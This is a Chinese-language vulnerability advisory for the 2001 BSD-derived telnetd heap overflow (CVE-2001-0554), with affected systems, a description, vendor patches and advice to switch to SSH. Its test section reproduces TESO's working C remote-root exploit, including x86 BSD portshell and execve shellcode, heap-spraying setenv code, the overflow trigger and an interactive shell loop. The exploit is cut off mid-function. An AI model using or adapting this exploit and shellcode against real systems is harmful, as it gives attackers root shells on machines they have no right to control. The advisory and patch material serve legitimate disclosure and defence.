首页 -> 安全研究

安全研究

安全漏洞
多家厂商基于BSD系统Telnetd远程堆溢出漏洞

发布日期:2001-07-18
更新日期:2001-10-19

受影响系统:
Multiple Vendor Telnetd
    - Apple MacOS 10.0
    - BSDI BSD/OS 4.2
    - BSDI BSD/OS 4.1
    - BSDI BSD/OS 4.0.1
    - BSDI BSD/OS 4.0
    - Caldera  eDesktop 2.4
    - Caldera  eServer 2.3.1
    - Caldera OpenLinux 2.3
    - Debian Linux 2.2 powerpc
    - Debian Linux 2.2 68k
    - Debian Linux 2.2 arm
    - Debian Linux 2.2 sparc
    - Debian Linux 2.2 alpha
    - FreeBSD 4.3-STABLE
    - FreeBSD 4.3-RELEASE
    - FreeBSD 4.2-STABLE
    - FreeBSD 4.2-RELEASE
    - FreeBSD 4.1.1-STABLE
    - FreeBSD 4.1.1-RELEASE
    - FreeBSD 4.0.x
    - FreeBSD 3.x
    - FreeBSD 3.5.1-STABLE
    - FreeBSD 3.5.1-RELEASE
    - FreeBSD 2.x
    - HP HP-UX 10.24
    - HP HP-UX 10.20
    - HP HP-UX 10.10
    - HP HP-UX 10.01
    - IBM AIX 5.1
    - IBM AIX 4.3.3
    - IBM AIX 4.3.2
    - IBM AIX 4.3.1
    - IBM AIX 4.3
    - NetBSD 1.5.1
    - NetBSD 1.5
    - NetBSD 1.4.3
    - NetBSD 1.4.2
    - NetBSD 1.4.1
    - NetBSD 1.4
    - NetBSD 1.3.3
    - NetBSD 1.3.2
    - NetBSD 1.3.1
    - NetBSD 1.3
    - NetBSD 1.2.1
    - NetBSD 1.2
    - NetBSD 1.1
    - NetBSD 1.0
    - OpenBSD 2.8
    - OpenBSD 2.7
    - OpenBSD 2.6
    - OpenBSD 2.5
    - OpenBSD 2.4
    - OpenBSD 2.3
    - OpenBSD 2.2
    - OpenBSD 2.1
    - OpenBSD 2.0
    - RedHat Linux 7.0 sparc
    - RedHat Linux 7.0 x86
    - RedHat Linux 7.0 alpha
    - RedHat Linux 6.2
    - RedHat Linux 6.2 sparc
    - RedHat Linux 6.2 x86
    - RedHat Linux 6.2 alpha
    - RedHat Linux 5.2 alpha
    - RedHat Linux 5.2 sparc
    - RedHat Linux 5.2
    - RedHat Linux 5.2 x86
    - SGI IRIX 6.5.9
    - SGI IRIX 6.5.8
    - SGI IRIX 6.5.7
    - SGI IRIX 6.5.6
    - SGI IRIX 6.5.5
    - SGI IRIX 6.5.4
    - SGI IRIX 6.5.3
    - SGI IRIX 6.5.2
    - SGI IRIX 6.5.13
    - SGI IRIX 6.5.12
    - SGI IRIX 6.5.11
    - SGI IRIX 6.5.10
    - SGI IRIX 6.5.1
    - SGI IRIX 6.5
    - Sun Solaris 9.0
    - Sun Solaris 8.0
    - Sun Solaris 7.0
    - Sun Solaris 2.6
    - Sun Solaris 2.5.1
    - Sun Solaris 2.5
    - Sun Solaris 2.4
    - Sun Solaris 2.3
    - Sun Solaris 2.2
    - Sun Solaris 2.1
    - Sun Solaris 2.0
描述:
BUGTRAQ  ID: 3064
CVE(CAN) ID: CVE-2001-0554

Telnet是一个广泛使用的明文的远程连接虚拟终端协议,可以用来对远程计算机进行操作。目前使用最多的telnetd版本都是源于BSD telnetd的某个派生。

来源于BSD telnet守护程序的telnetd存在一个堆溢出漏洞,远程攻击者可能通过溢出攻击在主机上以telnetd守护进程的权限(通常是root)执行任意指令。

在处理telnet协议选项的函数中没有进行有效的边界检查,当使用某些选项('AYT')时,可能发生缓冲区溢出。由于攻击者可以控制的字符是有限的而且溢出发生在BSS区,因此,攻击受到一定限制。但是发现者报告说至少在某些系统(FreeBSD/BSDI/NetBSD)下攻击是切实可行的,一个可用的攻击程序已经广泛流传。

在Linux系统下,如果用户可以获取对系统的本地访问权限,它可以通过telnetd的漏洞为
/bin/login设置环境变量,例如LD_PRELOAD=/tmp/make-rootshell.so 。

如果用户没有本地访问权限,他可以覆盖一些块(chunk)结果,setenv(3)会使用这些结构,并在用户可以控制的内存取中一个新的chunk,因此当环境变量重新分配内存时会改变任意内存地址的值。

最新的报告显示Linux netkit-telnetd <= 0.17版本都是受影响的,攻击者可能远程获取root权限。

<*来源:TESO Security Advisory
  
  链接:http://www.cert.org/advisories/CA-2001-21.html
        http://www.ciac.org/ciac/bulletins/l-131.shtml
        ftp://stage.caldera.com/pub/security/openunix/CSSA-2001-SCO.10/
        https://www.redhat.com/support/errata/RHSA-2001-099.html
        http://www.caldera.com/support/security/advisories/CSSA-2001-030.0.txt
        http://www.debian.org/security/2001/dsa-070
        http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-068.php3
        http://www.debian.org/security/2001/dsa-075
        http://www.debian.org/security/2001/dsa-075
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:54.ports-telnetd.asc
        ftp://patches.sgi.com/support/free/security/advisories/20010801-01-P
        http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000413
        http://www.suse.com/de/support/security/2001_029_[需要添加]_txt.txt
        http://archives.neohapsis.com/archives/hp/2001-q4/0014.html
        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:49.telnetd.v1.1.asc
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

TESO Crew 提供了如下测试程序:

/* 7350854 - x86/bsd telnetd remote root exploit
*
* TESO CONFIDENTIAL - SOURCE MATERIALS
*
* This is unpublished proprietary source code of TESO Security.
*
* The contents of these coded instructions, statements and computer
* programs may not be disclosed to third parties, copied or duplicated in
* any form, in whole or in part, without the prior written permission of
* TESO Security. This includes especially the Bugtraq mailing list, the
* www.hack.co.za website and any public exploit archive.
*
* (C) COPYRIGHT TESO Security, 2001
* All Rights Reserved
*
*****************************************************************************
* bug found by scut 2001/06/09
* further research by smiler, zip, lorian and me.
* thanks to zip's cool friend for giving me a testbed to play on
*
* tested against: BSDI BSD/OS 4.1
*                 NetBSD 1.5
*                 FreeBSD 3.1
*                 FreeBSD 4.0-REL
*                 FreeBSD 4.2-REL
*                 FreeBSD 4.3-BETA
*                 FreeBSD 4.3-STABLE
*                 FreeBSD 4.3-RELEASE
*
*/

#define VERSION "0.0.7"

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


/* global variables, uhhohh!
*/
int     mode = 16;
int     num = 245;
int     pop = 31500;    /* puts code at 0x08fdff0a */
int     bs = 1;         /* buffer start */

int     num34 = 244;
int     pop34 = 71833;  /* puts code at 0x0a0d08fe */
int     bs34 = 0;

int     walk;           /* populator walker */
int     force = 0;      /* force exploitation */
int     checkonly = 0;  /* check telnetd only */


void usage (char *progname);
int xp_check (int fd);
void xp_pop (int fd);
void xp_shrinkwin (int fd);
void xp_setenv (int fd, unsigned char *var, unsigned char *val);
void xp (int fd);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

/* imported from shellkit */
unsigned long int random_get (unsigned long int low, unsigned long int high);
void random_init (void);
int bad (unsigned char u);
int badstr (unsigned char *code, int code_len, unsigned char *bad,
        int bad_len);
unsigned long int x86_nop_rwreg (void);
unsigned long int x86_nop_xfer (char *xferstr);
unsigned int x86_nop (unsigned char *dest, unsigned int dest_len,
        unsigned char *bad, int bad_len);

#define BSET(dest, len, val, bw) { \
        dest &= ~(((unsigned char) ~0) >> bw);  /* clear lower bits */ \
        dest |= val << (8 - bw - len);          /* set value bits */ \
        bw += len; \
}

/* imported from network.c */
#define NET_CONNTIMEOUT 60
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);


/* x86/bsd PIC portshell shellcode
* by lorian/teso
* port 0x4444 (might want to change it here)
*/
unsigned char   x86_bsd_portshell[] =
        "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
        "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
                                /* ^^  ^^ port */
        "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
        "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
        "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
        "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
        "\x80";

/* x86/bsd PIC execve shellcode
* by lorian/teso
*/
unsigned char   x86_bsd_execvesh[] =
        "\x6a\x3b\x58\x99\x52\x89\xe3\x68\x6e\x2f\x73\x68"
        "\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xcd\x80";

/* x86/bsd(i)+solaris execve shellcode
* by lorian/teso
*/
unsigned char   x86_bsd_compaexec[] =
    "\xbf\xee\xee\xee\x08\xb8\xff\xf8\xff\x3c\xf7\xd0"
    "\xfd\xab\x31\xc0\x99\xb0\x9a\xab\xfc\xab\xb0\x3b"
    "\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
    "\xe3\x52\x53\x89\xe1\x52\x51\x53\xff\xd7";


unsigned char * shellcode = x86_bsd_compaexec;


#define COL 55


void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-n <num>] [-c] [-f] <ip>\n\n", progname);
        fprintf (stderr, "-n num\tnumber of populators, for testing purposes\n"
                "-c\tcheck exploitability only, do not exploit\n"
                "-f\tforce mode, override check results\n\n");
        fprintf (stderr, "WARNING: this is no easy exploit, we have to get things tightly aligned and\n"
                        "send 16/34mb of traffic to the remote telnet daemon. it might not be able to\n"
                        "take that, or it will take very long for it (> 1h). beware.\n\n");

        fprintf (stderr, "tested:\tFreeBSD 3.1, 4.0-REL, 4.2-REL, 4.3-BETA, 4.3-STABLE, 4.3-RELEASE \n"
                        "\tNetBSD 1.5\n"
                        "\tBSDI BSD/OS 4.1\n\n");

        exit (EXIT_FAILURE);
}

int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;
        char *                  dest;
        int                     i, j, fd,
                                dots = 0;
        int                     popc;
        struct timeval          start,
                                cur;
        unsigned long long int  g_pct,  /* gaussian percentage */
                                g_all;  /* gaussian overall */


        fprintf (stderr, "7350854 - x86/bsd telnetd remote root\n"
                "by zip, lorian, smiler and scut.\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "n:cf")) != EOF) {
                switch (c) {
                case 'n':
                        num = atoi (optarg);
                        break;
                case 'c':
                        checkonly = 1;
                        break;
                case 'f':
                        force = 1;
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        dest = argv[argc - 1];
        if (dest[0] == '-')
                usage (progname);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect\n");
                exit (EXIT_FAILURE);
        }

        random_init ();

        if (xp_check (fd) == 0 && force == 0) {
                printf ("aborting\n");
#ifndef DEBUG
                exit (EXIT_FAILURE);
#endif
        }
        close (fd);

        if (checkonly)
                exit (EXIT_SUCCESS);

        fd = net_connect (NULL, dest, 23, 20);
        if (fd <= 0) {
                fprintf (stderr, "failed to connect the second time\n");
                exit (EXIT_FAILURE);
        }

        printf ("\n#############################################################################\n\n");
        printf ("ok baby, times are rough, we send %dmb traffic to the remote\n"
                "telnet daemon process, it will spill badly. but then, there is no\n"
                "other way, sorry...\n\n", mode);

#ifdef DEBUG
        getchar ();
#endif
        printf ("## setting populators to populate heap address space\n");

        g_all = ((unsigned long long int)(pop / 2)) *
                        ((unsigned long long int)(pop + 1));
        g_pct = 0;

        printf ("## number of setenvs (dots / network): %d\n", pop);
        printf ("## number of walks (percentage / cpu): %Lu\n", g_all);
        printf ("##\n");
        printf ("## the percentage is more realistic than the dots ;)\n");
        printf ("\n");
        printf ("percent |");

        popc = pop / COL;
        for (i = pop / popc ; i >= 0 ; --i)
                printf ("-");
        printf ("|      ETA |\n");

        gettimeofday (&start, NULL);

        for (walk = 0 ; walk < pop ; ++walk) {
                xp_pop (fd);

                g_pct += walk;

                if (walk % popc == 0)
                        dots += 1;

                if (walk % 200 == 0) {
                        int                     pct;
                        float                   pct_f;
                        unsigned long int       diff;

                        pct = (int) ((g_pct * 100) / g_all);
                        pct_f = g_pct * 100;
                        pct_f /= (float) g_all;

                        /* calculate difference not caring about accuracy */
                        gettimeofday (&cur, NULL);
                        diff = cur.tv_sec - start.tv_sec;

                        printf ((pct == 100) ? "\r%3.2f%% |" : ((pct / 10) ?
                                "\r %2.2f%% |" : "\r  %1.2f%% |"), pct_f);
                        for (j = 0 ; j < dots ; ++j)
                                printf (".");
                        for ( ; j <= COL ; ++j)
                                printf (" ");

                        if (pct != 0) {
                                diff = (int) ((((float)(100 - pct_f)) /
                                        (float) pct_f) * diff);
                                printf ("| %02lu:%02lu:%02lu |",
                                        diff / 3600, (diff % 3600) / 60,
                                        diff % 60);
                        } else {
                                printf ("| --:--:-- |");
                        }

                        fflush (stdout);
                }
        }
        printf ("\n\n");

        printf ("## sleeping for 10 seconds to let the process recover\n");
        sleep (10);

#ifdef DEBUG
        getchar ();
#endif
        /* return into 0x08feff0a */
        xp (fd);
        sleep (1);

        printf ("## ok, you should now have a root shell\n");
        printf ("## as always, after hard times, there is a reward...\n");
        printf ("\n\ncommand: ");
        fflush (stdout);

        shell (fd);

        exit (EXIT_SUCCESS);
}


void
xp (int fd)
{
        int             n;
        unsigned char   buf[2048];


        /* basic overflow */
        for (n = bs ; n < sizeof (buf) ; ++n)
                buf[n] = (n - bs) % 2 ? '\xf6' : '\xff';

        /* some nifty alignment */
        buf[0] = '\xff';        /* IAC */
        buf[1] = '\xf5';        /* AO  */

        if (mode == 16) {
                buf[2] = '\xff';        /* IAC */
                buf[3] = '\xfb';        /* WILL */
                buf[4] = '\x26';        /* ENCRYPTION */
        }

        /* force 0x08feff0a as return */
        buf[num++] = '\xff';
        buf[num++] = '\xfb';
        buf[num++] = '\x08';

        /* and the output_encrypt overwrite action, yay! */
        buf[num++] = '\xff';
        buf[num++] = '\xf6';

        /* XXX: should not fail here, though we should better loop and check */
        n = send (fd, buf, num, 0);
        if (n != num) {
                perror ("xp:send");
        }
}


#ifdef INSANE_MIND

void
xp_shrinkwin (int fd)
{
        int             n;
        int             iobc;
        int             p = 0;
        unsigned char   buf[2048];
        char            c;
        int             val;
        int             len;

        for (n = 0 ; n < sizeof (buf) ; ++n)
                buf[n] = n % 2 ? '\xf6' : '\xff';

        len = sizeof (val);
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);
        val = 1;
        printf ("setsockopt: %s\n",
                setsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, sizeof(val)) ?
                "FAILED" : "SUCCESS");
        val = 1234;
        getsockopt (fd, SOL_SOCKET, SO_SNDLOWAT, &val, &len);
        printf ("SO_SNDLOWAT = %d\n", val);

        getchar();
        while (1) {
                if (p > 105)
                        c = getchar();
                if (c == 'r') {
                        getchar();
                        read (fd, &buf[1024], 384);
                } else if (c == 'o') {
                        getchar();
                        send (fd, "7", 1, MSG_OOB);
                } else if (c != 'r') {
                        usleep(100000);
                        n = send (fd, buf, 112, 0);
                        ioctl (fd, FIONREAD, &iobc);
                        len = sizeof (val);
                        getsockopt (fd, SOL_SOCKET, SO_RCVBUF, &val, &len);
                        printf ("%02d. send: %d  local: %d/%d (%d left)\n",
                                ++p, n, iobc, val, val - iobc);
                }
        }
}
#endif


/* xp_pop - populator function
*
* causes remote telnet daemon to setenv() variables with our content, populating
* the heap with shellcode. this will get us more nopspace and place our shellcode
* where the nice addresses are, that we can create by writing telnet option
* strings.
*
* XXX: there seems to be a maximum size for the environment value you can set,
*      which is 510. we use 496 bytes for nopspace and shellcode therefore.
*      should work, rather similar to tsig tcp/malloc exploitation. -sc
*/

void
xp_pop (int fd)
{
        unsigned char   var[16];
        unsigned char   storebuf[496];
        sprintf (var, "%06x", walk);
#ifdef DEBUG
        memset (storebuf, '\xcc', sizeof (storebuf));
#else
/*      memset (storebuf, '\x90', sizeof (storebuf));   */
        x86_nop (storebuf, sizeof (storebuf), "\x00\x01\x02\x03\xff", 5);
        memcpy (storebuf + sizeof (storebuf) - strlen (shellcode) - 1,
                shellcode, strlen (shellcode));
#endif
        storebuf[sizeof (storebuf) - 1] = '\0';

        xp_setenv (fd, var, storebuf);
}


void
xp_setenv (int fd, unsigned char *var, unsigned char *val)
{
        int             n = 0;
        unsigned char   buf[2048];

        buf[n++] = IAC;
        buf[n++] = SB;
        buf[n++] = TELOPT_NEW_ENVIRON;
        buf[n++] = TELQUAL_IS;
        buf[n++] = ENV_USERVAR;

        /* should not contain < 0x04 */
        while (*var) {
                if (*var == IAC)
                        buf[n++] = *var;
                buf[n++] = *var++;
        }
        buf[n++] = NEW_ENV_VALUE;
        while (*val) {
                if (*val == IAC)
                        buf[n++] = *val;
                buf[n++] = *val++;
        }
        buf[n++] = IAC;
        buf[n++] = SE;

        if (send (fd, buf, n, 0) != n) {
                perror ("xp_setenv:send");
                exit (EXIT_FAILURE);
        }
}


int
xp_check (int fd)
{
        int             n;
        unsigned int    expect_len = 15;
        unsigned char   expected[] =
                "\x0d\x0a\x5b\x59\x65\x73\x5d\x0d\x0a\xff\xfe\x08\xff\xfd\x26";
                /* \r  \n  [   Y   e   s   ]   \r  \n IAC DONT 08 IAC DO 26*/
        unsigned int    additional_len = 8;
        unsigned char   additional[] =
                "\xff\xfa\x26\x01\x01\x02\xff\xf0";
                /*IAC SB  ENC ........... IAC SE */

        unsigned char   buf[128];

        read (fd, buf, sizeof (buf));

        n = 0;
        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = AYT;                 /* 0xf6 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_NAOL;         /* 0x08 */

        buf[n++] = IAC;                 /* 0xff */
        buf[n++] = WILL;                /* 0xfb */
        buf[n++] = TELOPT_ENCRYPT;      /* 0x26 */

#ifdef DEBUG
        hexdump ("check send buffer", buf, n);
#endif
        if (send (fd, buf, n, 0) != n) {
                perror ("xp_check:send");
                exit (EXIT_FAILURE);
        }

        n = read (fd, buf, sizeof (buf));
#ifdef DEBUG
        hexdump ("check recv buffer", buf, n);
#endif

        if (memcmp (buf, expected, expect_len) == 0) {
                if (memcmp (buf+expect_len, additional, additional_len) == 0) {
                        mode = 16;
                } else {
                        mode = 34;
                        bs = bs34;
                }
                printf ("check: PASSED, using %dmb mode\n", mode);

                return (1);
        }

        printf ("check: FAILED\n");

        return (0);
}


void
shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read user");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l <= 0) {
                                perror ("read remote");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


/* ripped from zodiac */
void
hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !\"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */\n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "\n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "\n");

        return;
}



unsigned long int
net_resolve (char *host)
{
        long            i;
        struct hostent  *he;

        i = inet_addr(host);
        if (i == -1) {
                he = gethostbyname(host);
                if (he == NULL) {
                        return (0);
                } else {
                        return (*(unsigned long *) he->h_addr);
                }
        }
        return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec)
{
        int                     n,
                                len,
                                error,
                                flags;
        int                     fd;
        struct timeval          tv;
        fd_set                  rset, wset;
        struct sockaddr_in      csa;

        if (cs == NULL)
                cs = &csa;

        /* first allocate a socket */
        cs->sin_family = AF_INET;
        cs->sin_port = htons (port);
        fd = socket (cs->sin_family, SOCK_STREAM, 0);
        if (fd == -1)
                return (-1);

        if (!(cs->sin_addr.s_addr = net_resolve (server))) {
                close (fd);
                return (-1);
        }

        flags = fcntl (fd, F_GETFL, 0);
        if (flags == -1) {
                close (fd);
                return (-1);
        }
        n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
        if (n == -1) {
                close (fd);
                return (-1);
        }

        error = 0;

        n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
        if (n < 0) {
                if (errno != EINPROGRESS) {
                        close (fd);
                        return (-1);
                }
        }
        if (n == 0)
                goto done;

        FD_ZERO(&rset);
        FD_ZERO(&wset);
        FD_SET(fd, &rset);
        FD_SET(fd, &wset);
        tv.tv_sec = sec;
        tv.tv_usec = 0;

        n = select(fd + 1, &rset, &wset, NULL, &tv);
        if (n == 0) {
                close(fd);
                errno = ETIMEDOUT;
                return (-1);
        }
        if (n == -1)
                return (-1);

        if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
                if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
                        len = sizeof(error);
                        if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                                errno = ETIMEDOUT;
                                return (-1);
                        }
                        if (error == 0) {
                                goto done;
                        } else {
                                errno = error;
                                return (-1);
                        }
                }
        } else
                return (-1);

done:
        n = fcntl(fd, F_SETFL, flags);
        if (n == -1)
                return (-1);
        return (fd);
}


/* imported from shellkit */

unsigned long int
random_get (unsigned long int low, unsigned long int high)
{
        unsigned long int       val;

        if (low > high) {
                low ^= high;
                high ^= low;
                low ^= high;
        }

        val = (unsigned long int) random ();
        val %= (high - low);
        val += low;

        return (val);
}


void
random_init (void)
{
        srandom (time (NULL));
}


int
bad (unsigned char u)
{
        if (u == '\x00' || u == '\x0a' || u == '\x0d' || u == '\x25')
                return (1);

        return (0);
}

int
badstr (unsigned char *code, int code_len, unsigned char *bad, int bad_len)
{
        int     n;

        for (code_len -= 1 ; code_len >= 0 ; --code_len) {
                for (n = 0 ; n < bad_len ; ++n)
       &n

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 建议您关闭telnet,换用ssh或openssh

由于telnet使用明文传输信息,从协议本身上存在先天的安全脆弱性,很容易受到各种窃听、回放、劫持攻击,因此我们建议使用相对安全得多的基于SSH加密协议的远程连接工具代替telnet进行远程管理。

厂商补丁:

BSDI
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

BSDi BSD/OS 4.2:
http://www.bsdi.com/services/support/patches/patches-4.2/i386/M420-014

BSDi BSD/OS 4.1:
http://www.bsdi.com/services/support/patches/patches-4.1/M410-043

Conectiva
---------
Conectiva已经为此发布了一个安全公告(CLA-2001:413)以及相应补丁:
CLA-2001:413:telnet
链接:http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000413

补丁下载:

ftp://atualizacoes.conectiva.com.br/4.0/SRPMS/telnet-0.17-1U40_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/telnet-0.17-1U40_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/SRPMS/telnet-0.17-1U40_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/telnet-0.17-1U40_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/SRPMS/telnet-0.17-1U41_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/telnet-0.17-1U41_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/SRPMS/telnet-0.17-1U42_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/telnet-0.17-1U42_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/telnet-server-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/SRPMS/telnet-0.17-1U51_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/telnet-server-0.17-1U51_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/telnet-0.17-1U51_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/SRPMS/telnet-0.17-2U60_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/telnet-server-0.17-2U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/6.0/RPMS/telnet-0.17-2U60_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/SRPMS/telnet-0.17-2U70_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/telnet-0.17-2U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/7.0/RPMS/telnet-server-0.17-2U70_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/telnet-server-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/SRPMS/telnet-0.17-1U50_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/telnet-0.17-1U50_1cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/telnet-server-0.17-1U50_1cl.i386.rpm

Conectiva Linux version 6.0及以上版本的用户可以使用apt进行RPM包的更新:

- 把以下的文本行加入到/etc/apt/sources.list文件中:
  
rpm [cncbr] ftp://atualizacoes.conectiva.com.br 6.0/conectiva updates

(如果你不是使用6.0版本,用合适的版本号代替上面的6.0)

- 执行:                 apt-get update
- 更新以后,再执行:     apt-get upgrade

FreeBSD
-------
FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-01:54)以及相应补丁:
FreeBSD-SA-01:54:telnetd contains remote buffer overflow
链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-01:54.ports-telnetd.asc

补丁下载:

ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/portcheckout-2.0.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/portcheckout-2.0.tgz

HP
--
HP已经为此发布了一个安全公告(HPSBUX0110-172)以及相应补丁:
HPSBUX0110-172:Sec. Vulnerability in telnetd
链接:

补丁下载:
ftp://us-ffs.external.hp.com/hp-ux_patches

系统版本和补丁号对应关系:

     10.01       PHNE_24820,
     10.10       PHNE_24820,
     10.20       PHNE_24821,
SIS 10.20       PHNE_24822 (Telnet kerberos Patch),
     10.24       PHNE_25217.

补丁安装方法:

  1. 在安装补丁之前备份系统。

  2. 以root身份登录。
  
  3. 把patch复制到/tmp目录。
  
  4. 转到/tmp目录unshar补丁程序:
  
      cd /tmp
      sh PHCO_xxxxxx
  
  5a. 对一个单独的系统,运行swinstall来安装补丁:
  
      swinstall -x autoreboot=true -x match_target=true \
          -s /tmp/PHCO_xxxxx.depot
  
  默认情况下会把原来的软件备份到/var/adm/sw/patch/PHCO_xxxxx目录下。如果你不希望保留一个备份,可以创建一个空文件/var/adm/sw/patch/PATCH_NOSAVE,这样系统统就不会再保留备份了。
  
  警告:当安装补丁的时候这个文件存在,补丁安装以后就不能卸载了,使用这个功能的时候必须小心。

MandrakeSoft
------------
MandrakeSoft已经为此发布了一个安全公告(MDKSA-2001:068)以及相应补丁:
MDKSA-2001:068:telnet
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-068.php3

补丁下载:
http://www.linux-mandrake.com/en/ftp.php3

补丁包:

Linux-Mandrake 7.1:
0c25fb858b93cbbc30a8f16ff80952d8  7.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
a2a90ff0bcfa1c3f4da1008900bb2b98  7.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
a960f23b3bc9113ba2696d8b23e9fe3d  7.1/SRPMS/telnet-0.16-4.1mdk.src.rpm

Linux-Mandrake 7.2:
a6f72da6eef4874c419d82ef23e58363  7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
